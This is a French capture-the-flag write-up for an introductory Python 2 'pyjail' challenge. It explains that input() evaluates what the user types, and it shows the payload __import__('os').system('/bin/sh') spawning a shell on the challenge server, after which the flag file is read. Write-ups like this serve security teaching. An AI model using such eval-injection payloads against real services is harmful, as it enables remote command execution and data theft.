Strange input, right?

Catégorie: Système Difficulté: - Flag: CTFREI{b3g1nn1ng_0f_4_pyj41l_j0urn3y}

Challenge

Description


Challenge d'introduction aux Pyjails

Ne mettez pas seulement des mots randoms, n'hésitez pas à faire des recherches !

Le flag est dans flag.txt

nc intro.ctfrei.fr 4450

Solution

Ce challenge est une introduction aux PyJail, autrement dit le serveur fait tourner un script Python. En Python2, il existe une vulnérabilité sur la fonction input() puisqu'elle cast automatiquement notre entrée dans un type qui lui correspond.

Exemple avec quelques entrées via la fonction input :

45        -> <type 'int'>
"goodbye" -> <type 'str'>
[1,2,3]   -> <type 'list'>

On peut donc utiliser les fonctions natives de Python pour forcer le serveur à exécuter du code. Si l'on passe par __import__, on peut même lancer des commandes

$ ncat intro.ctfrei.fr 4450

Bienvenue dans cette pyjail en python2!
Entrez le bon PIN pour récupérer le flag!
PIN: __import__('os').system('/bin/sh')

ls -al
total 24
drwxr-xr-x 1 nobody nogroup 4096 Sep 25 13:39 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 19 17:39 ..
-r--r--r-- 1 nobody nogroup   38 Sep 12 13:40 flag.txt
-rwxr-xr-x 1 nobody nogroup  802 Sep 25 12:46 run

cat flag.txt
CTFREI{b3g1nn1ng_0f_4_pyj41l_j0urn3y}

Dernière mise à jour

Cet article vous a-t-il été utile ?